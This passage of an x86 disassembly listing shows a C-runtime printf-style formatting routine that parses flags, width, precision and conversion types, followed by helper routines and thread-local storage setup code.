		jmp	off_42E39E[eax*4] ; switch jump


loc_42DCF2:				; DATA XREF: .text:off_42E39Eo
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0042DCEB case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD0D:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		movsx	eax, bl		; jumptable 0042DCEB case 2
		sub	eax, 20h
		jz	short loc_42DD50
		sub	eax, 3
		jz	short loc_42DD47
		sub	eax, 8
		jz	short loc_42DD3E
		dec	eax
		dec	eax
		jz	short loc_42DD35
		sub	eax, 3
		jnz	loc_42E385	; default
		or	[ebp+var_4], 8
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD35:				; CODE XREF: sub_42DC7D+A4j
		or	[ebp+var_4], 4
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD3E:				; CODE XREF: sub_42DC7D+A0j
		or	[ebp+var_4], 1
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD47:				; CODE XREF: sub_42DC7D+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD50:				; CODE XREF: sub_42DC7D+96j
		or	[ebp+var_4], 2
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD59:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		cmp	bl, 2Ah		; jumptable 0042DCEB case 3
		jnz	short loc_42DD81
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42E45C
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_42E385	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42DD79:				; CODE XREF: sub_42DC7D+111j
		mov	[ebp+var_20], eax
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD81:				; CODE XREF: sub_42DC7D+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42DD79
; ---------------------------------------------------------------------------


loc_42DD90:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		mov	[ebp+var_10], edx ; jumptable 0042DCEB case 4
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DD98:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		cmp	bl, 2Ah		; jumptable 0042DCEB case 5
		jnz	short loc_42DDBB
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42E45C
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_42E385	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DDBB:				; CODE XREF: sub_42DC7D+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DDCD:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		cmp	bl, 49h		; jumptable 0042DCEB case 6
		jz	short loc_42DE00
		cmp	bl, 68h
		jz	short loc_42DDF7
		cmp	bl, 6Ch
		jz	short loc_42DDEE
		cmp	bl, 77h
		jnz	loc_42E385	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DDEE:				; CODE XREF: sub_42DC7D+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DDF7:				; CODE XREF: sub_42DC7D+158j
		or	[ebp+var_4], 20h
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DE00:				; CODE XREF: sub_42DC7D+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_42DE19
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_42DE19
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DE19:				; CODE XREF: sub_42DC7D+186j
					; sub_42DC7D+18Cj
		mov	[ebp+var_30], edx


loc_42DE1C:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		mov	ecx, off_4533B8	; jumptable 0042DCEB case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42DE48
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_42E3BE
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42DE48:				; CODE XREF: sub_42DC7D+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_42E3BE
		add	esp, 0Ch
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42DE60:				; CODE XREF: sub_42DC7D+6Ej
					; DATA XREF: .text:off_42E39Eo
		movsx	eax, bl		; jumptable 0042DCEB case 7
		cmp	eax, 67h
		jg	loc_42E088
		cmp	eax, 65h
		jge	loc_42DF0B
		cmp	eax, 58h
		jg	loc_42DF69
		jz	loc_42E0FC
		sub	eax, 43h
		jz	loc_42DF2C
		dec	eax
		dec	eax
		jz	short loc_42DF01
		dec	eax
		dec	eax
		jz	short loc_42DF01
		sub	eax, 0Ch
		jnz	loc_42E287
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42DEAA
		or	byte ptr [ebp+var_4+1],	8


loc_42DEAA:				; CODE XREF: sub_42DC7D+227j
					; sub_42DC7D+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42DEB7
		mov	esi, 7FFFFFFFh


loc_42DEB7:				; CODE XREF: sub_42DC7D+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42E45C
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_42E0D0
		test	ecx, ecx
		jnz	short loc_42DEDF
		mov	ecx, off_45323C
		mov	[ebp+var_8], ecx


loc_42DEDF:				; CODE XREF: sub_42DC7D+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_42DEE8:				; CODE XREF: sub_42DC7D+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_42E0C7
		cmp	word ptr [eax],	0
		jz	loc_42E0C7
		inc	eax
		inc	eax
		jmp	short loc_42DEE8
; ---------------------------------------------------------------------------


loc_42DF01:				; CODE XREF: sub_42DC7D+212j
					; sub_42DC7D+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_42DF0B:				; CODE XREF: sub_42DC7D+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_42DFEF
		mov	[ebp+var_10], 6
		jmp	loc_42DFFD
; ---------------------------------------------------------------------------


loc_42DF2C:				; CODE XREF: sub_42DC7D+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42DF38
		or	byte ptr [ebp+var_4+1],	8


loc_42DF38:				; CODE XREF: sub_42DC7D+2B5j
					; sub_42DC7D+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42DF7F
		call	sub_42E479
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_433260
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_42DF92
		mov	[ebp+var_28], 1
		jmp	short loc_42DF92
; ---------------------------------------------------------------------------


loc_42DF69:				; CODE XREF: sub_42DC7D+1FBj
		sub	eax, 5Ah
		jz	short loc_42DFA0
		sub	eax, 9
		jz	short loc_42DF38
		dec	eax
		jz	loc_42E162
		jmp	loc_42E287
; ---------------------------------------------------------------------------


loc_42DF7F:				; CODE XREF: sub_42DC7D+2C5j
		call	sub_42E45C
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_42DF92:				; CODE XREF: sub_42DC7D+2E1j
					; sub_42DC7D+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_42E287
; ---------------------------------------------------------------------------


loc_42DFA0:				; CODE XREF: sub_42DC7D+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42E45C
		test	eax, eax
		pop	ecx
		jz	short loc_42DFE1
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_42DFE1
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_42DFD2
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_42E287
; ---------------------------------------------------------------------------


loc_42DFD2:				; CODE XREF: sub_42DC7D+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_42E284
; ---------------------------------------------------------------------------


loc_42DFE1:				; CODE XREF: sub_42DC7D+32Fj
					; sub_42DC7D+336j
		mov	eax, off_453238
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42E07D
; ---------------------------------------------------------------------------


loc_42DFEF:				; CODE XREF: sub_42DC7D+29Dj
		jnz	short loc_42DFFD
		cmp	bl, 67h
		jnz	short loc_42DFFD
		mov	[ebp+var_10], 1


loc_42DFFD:				; CODE XREF: sub_42DC7D+2AAj
					; sub_42DC7D:loc_42DFEFj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_45381C
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_42E04F
		cmp	[ebp+var_10], 0
		jnz	short loc_42E04F
		lea	eax, [ebp+var_248]
		push	eax
		call	off_453828
		pop	ecx


loc_42E04F:				; CODE XREF: sub_42DC7D+3BCj
					; sub_42DC7D+3C2j
		cmp	bl, 67h
		jnz	short loc_42E066
		test	esi, esi
		jnz	short loc_42E066
		lea	eax, [ebp+var_248]
		push	eax
		call	off_453820
		pop	ecx


loc_42E066:				; CODE XREF: sub_42DC7D+3D5j
					; sub_42DC7D+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42E07C
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42E07C:				; CODE XREF: sub_42DC7D+3F0j
		push	edi


loc_42E07D:				; CODE XREF: sub_42DC7D+36Dj
		call	sub_4293A0
		pop	ecx
		jmp	loc_42E284
; ---------------------------------------------------------------------------


loc_42E088:				; CODE XREF: sub_42DC7D+1E9j
		sub	eax, 69h
		jz	loc_42E162
		sub	eax, 5
		jz	loc_42E138
		dec	eax
		jz	loc_42E125
		dec	eax
		jz	short loc_42E0F5
		sub	eax, 3
		jz	loc_42DEAA
		dec	eax
		dec	eax
		jz	loc_42E166
		sub	eax, 3
		jnz	loc_42E287
		mov	[ebp+var_2C], 27h
		jmp	short loc_42E103
; ---------------------------------------------------------------------------


loc_42E0C7:				; CODE XREF: sub_42DC7D+270j
					; sub_42DC7D+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_42E284
; ---------------------------------------------------------------------------


loc_42E0D0:				; CODE XREF: sub_42DC7D+24Fj
		test	ecx, ecx
		jnz	short loc_42E0DD
		mov	ecx, off_453238
		mov	[ebp+var_8], ecx


loc_42E0DD:				; CODE XREF: sub_42DC7D+455j
		mov	eax, ecx


loc_42E0DF:				; CODE XREF: sub_42DC7D+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_42E0EE
		cmp	byte ptr [eax],	0
		jz	short loc_42E0EE
		inc	eax
		jmp	short loc_42E0DF
; ---------------------------------------------------------------------------


loc_42E0EE:				; CODE XREF: sub_42DC7D+467j
					; sub_42DC7D+46Cj
		sub	eax, ecx
		jmp	loc_42E284
; ---------------------------------------------------------------------------


loc_42E0F5:				; CODE XREF: sub_42DC7D+425j
		mov	[ebp+var_10], 8


loc_42E0FC:				; CODE XREF: sub_42DC7D+201j
		mov	[ebp+var_2C], 7


loc_42E103:				; CODE XREF: sub_42DC7D+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42E16D
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42E16D
; ---------------------------------------------------------------------------


loc_42E125:				; CODE XREF: sub_42DC7D+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42E16D
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42E16D
; ---------------------------------------------------------------------------


loc_42E138:				; CODE XREF: sub_42DC7D+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42E45C
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_42E151
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_42E156
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: sub_42DC7D+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_42E156:				; CODE XREF: sub_42DC7D+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_42E385	; default
; ---------------------------------------------------------------------------


loc_42E162:				; CODE XREF: sub_42DC7D+2F7j
					; sub_42DC7D+40Ej
		or	[ebp+var_4], 40h


loc_42E166:				; CODE XREF: sub_42DC7D+432j
		mov	[ebp+var_C], 0Ah


loc_42E16D:				; CODE XREF: sub_42DC7D+491j
					; sub_42DC7D+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_42E17F
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42E469
		pop	ecx
		jmp	short loc_42E1C0
; ---------------------------------------------------------------------------


loc_42E17F:				; CODE XREF: sub_42DC7D+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_42E1A6
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42E19B
		call	sub_42E45C
		pop	ecx
		movsx	eax, ax


loc_42E198:				; CODE XREF: sub_42DC7D+527j
					; sub_42DC7D+539j
		cdq
		jmp	short loc_42E1C0
; ---------------------------------------------------------------------------


loc_42E19B:				; CODE XREF: sub_42DC7D+510j
		call	sub_42E45C
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42E198
; ---------------------------------------------------------------------------


loc_42E1A6:				; CODE XREF: sub_42DC7D+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42E1B8
		call	sub_42E45C
		pop	ecx
		jmp	short loc_42E198
; ---------------------------------------------------------------------------


loc_42E1B8:				; CODE XREF: sub_42DC7D+531j
		call	sub_42E45C
		pop	ecx
		xor	edx, edx


loc_42E1C0:				; CODE XREF: sub_42DC7D+500j
					; sub_42DC7D+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_42E1E1
		test	edx, edx
		jg	short loc_42E1E1
		jl	short loc_42E1D0
		test	eax, eax
		jnb	short loc_42E1E1


loc_42E1D0:				; CODE XREF: sub_42DC7D+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_42E1E5
; ---------------------------------------------------------------------------


loc_42E1E1:				; CODE XREF: sub_42DC7D+547j
					; sub_42DC7D+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_42E1E5:				; CODE XREF: sub_42DC7D+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_42E1EE
		and	edi, 0


loc_42E1EE:				; CODE XREF: sub_42DC7D+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_42E1FD
		mov	[ebp+var_10], 1
		jmp	short loc_42E201
; ---------------------------------------------------------------------------


loc_42E1FD:				; CODE XREF: sub_42DC7D+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_42E201:				; CODE XREF: sub_42DC7D+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_42E20B
		and	[ebp+var_1C], 0


loc_42E20B:				; CODE XREF: sub_42DC7D+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_42E211:				; CODE XREF: sub_42DC7D+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_42E221
		mov	eax, esi
		or	eax, edi
		jz	short loc_42E25C


loc_42E221:				; CODE XREF: sub_42DC7D+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_42BDD0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_42BE50
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_42E252
		add	ebx, [ebp+var_2C]


loc_42E252:				; CODE XREF: sub_42DC7D+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_42E211
; ---------------------------------------------------------------------------


loc_42E25C:				; CODE XREF: sub_42DC7D+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_42E287
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42E27A
		test	eax, eax
		jnz	short loc_42E287


loc_42E27A:				; CODE XREF: sub_42DC7D+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_42E284:				; CODE XREF: sub_42DC7D+35Fj
					; sub_42DC7D+406j ...
		mov	[ebp+var_C], eax


loc_42E287:				; CODE XREF: sub_42DC7D+21Bj
					; sub_42DC7D+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_42E385	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_42E2BF
		test	bh, 1
		jz	short loc_42E2A4
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42E2B8
; ---------------------------------------------------------------------------


loc_42E2A4:				; CODE XREF: sub_42DC7D+61Fj
		test	bl, 1
		jz	short loc_42E2AF
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42E2B8
; ---------------------------------------------------------------------------


loc_42E2AF:				; CODE XREF: sub_42DC7D+62Aj
		test	bl, 2
		jz	short loc_42E2BF
		mov	[ebp+var_16], 20h


loc_42E2B8:				; CODE XREF: sub_42DC7D+625j
					; sub_42DC7D+630j
		mov	[ebp+var_1C], 1


loc_42E2BF:				; CODE XREF: sub_42DC7D+61Aj
					; sub_42DC7D+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_42E2DF
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_42E3F3
		add	esp, 10h


loc_42E2DF:				; CODE XREF: sub_42DC7D+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_42E424
		add	esp, 10h
		test	bl, 8
		jz	short loc_42E311
		test	bl, 4
		jnz	short loc_42E311
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_42E3F3
		add	esp, 10h


loc_42E311:				; CODE XREF: sub_42DC7D+67Bj
					; sub_42DC7D+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42E358
		cmp	[ebp+var_C], 0
		jle	short loc_42E358
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_42E326:				; CODE XREF: sub_42DC7D+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_433260
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42E36D
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42E424
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_42E326
		jmp	short loc_42E36D
; ---------------------------------------------------------------------------


loc_42E358:				; CODE XREF: sub_42DC7D+698j
					; sub_42DC7D+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_42E424
		add	esp, 10h


loc_42E36D:				; CODE XREF: sub_42DC7D+6BCj
					; sub_42DC7D+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_42E385 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_42E3F3
		add	esp, 10h


loc_42E385:				; CODE XREF: sub_42DC7D+68j
					; sub_42DC7D+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_42DCA9


loc_42E396:				; CODE XREF: sub_42DC7D+1Fj
					; sub_42DC7D+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42DC7D	endp

; ---------------------------------------------------------------------------
off_42E39E	dd offset loc_42DE1C	; DATA XREF: sub_42DC7D+6Er
		dd offset loc_42DCF2	; jump table for switch	statement
		dd offset loc_42DD0D
		dd offset loc_42DD59
		dd offset loc_42DD90
		dd offset loc_42DD98
		dd offset loc_42DDCD
		dd offset loc_42DE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E3BE	proc near		; CODE XREF: sub_42DC7D+1BDp
					; sub_42DC7D+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_42E3D7
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_42E3E2
; ---------------------------------------------------------------------------


loc_42E3D7:				; CODE XREF: sub_42E3BE+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_42DB65
		pop	ecx
		pop	ecx


loc_42E3E2:				; CODE XREF: sub_42E3BE+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_42E3EF
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42E3EF:				; CODE XREF: sub_42E3BE+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42E3BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E3F3	proc near		; CODE XREF: sub_42DC7D+65Ap
					; sub_42DC7D+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_42E421
		mov	esi, [esp+8+arg_C]


loc_42E404:				; CODE XREF: sub_42E3F3+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_42E3BE
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_42E421
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_42E404


loc_42E421:				; CODE XREF: sub_42E3F3+Bj
					; sub_42E3F3+25j
		pop	edi
		pop	esi
		retn
sub_42E3F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E424	proc near		; CODE XREF: sub_42DC7D+670p
					; sub_42DC7D+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42E458
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_42E43A:				; CODE XREF: sub_42E424+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_42E3BE
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42E458
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_42E43A


loc_42E458:				; CODE XREF: sub_42E424+Cj
					; sub_42E424+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42E424	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E45C	proc near		; CODE XREF: sub_42DC7D+E5p
					; sub_42DC7D+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42E45C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E469	proc near		; CODE XREF: sub_42DC7D+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42E469	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E479	proc near		; CODE XREF: sub_42DC7D+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42E479	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E487	proc near		; CODE XREF: .text:loc_42C5DFp
		push	esi
		call	sub_42DAC6
		call	dword_437150	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_453240, eax
		jz	short loc_42E4D7
		push	74h
		push	1
		call	sub_42B39A
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42E4D7
		push	esi
		push	dword_453240
		call	dword_43722C	; TlsSetValue
		test	eax, eax
		jz	short loc_42E4D7
		push	esi
		call	sub_42E4DB
		pop	ecx
		call	dword_437154	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		push	1
		mov	[esi], eax
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E4D7:				; CODE XREF: sub_42E487+14j
					; sub_42E487+25j ...
		xor	eax, eax
		pop	esi
		retn
sub_42E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E4DB	proc near		; CODE XREF: sub_42AB81+16p
					; sub_42E487+39p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword ptr [eax+50h], offset dword_453838
		mov	dword ptr [eax+14h], 1
		retn
sub_42E4DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E4EE	proc near		; CODE XREF: sub_429B8Fp sub_429B9Cp ...
		push	esi
		push	edi
		call	dword_437170	; RtlGetLastWin32Error
		push	dword_453240
		mov	edi, eax
		call	dword_437208	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42E549
		push	74h
		push	1
		call	sub_42B39A
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42E541
		push	esi
		push	dword_453240
		call	dword_43722C	; TlsSetValue
		test	eax, eax
		jz	short loc_42E541
		push	esi
		call	sub_42E4DB
		pop	ecx
		call	dword_437154	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_42E549
; ---------------------------------------------------------------------------


loc_42E541:				; CODE XREF: sub_42E4EE+2Bj
					; sub_42E4EE+3Cj
		push	10h
		call	sub_42C67C
		pop	ecx


loc_42E549:				; CODE XREF: sub_42E4EE+1Aj
					; sub_42E4EE+51j
		push	edi
		call	dword_43720C	; RtlSetLastWin32Error
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_42E4EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E555	proc near		; CODE XREF: sub_42AC8B+2Fp

arg_0		= dword	ptr  4

		mov	eax, dword_453240
		cmp	eax, 0FFFFFFFFh
		jz	locret_42E5F4
		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_42E579
		push	eax
		call	dword_437208	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jz	short loc_42E5E5


loc_42E579:				; CODE XREF: sub_42E555+15j
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_42E587
		push	eax
		call	sub_4298F2
		pop	ecx


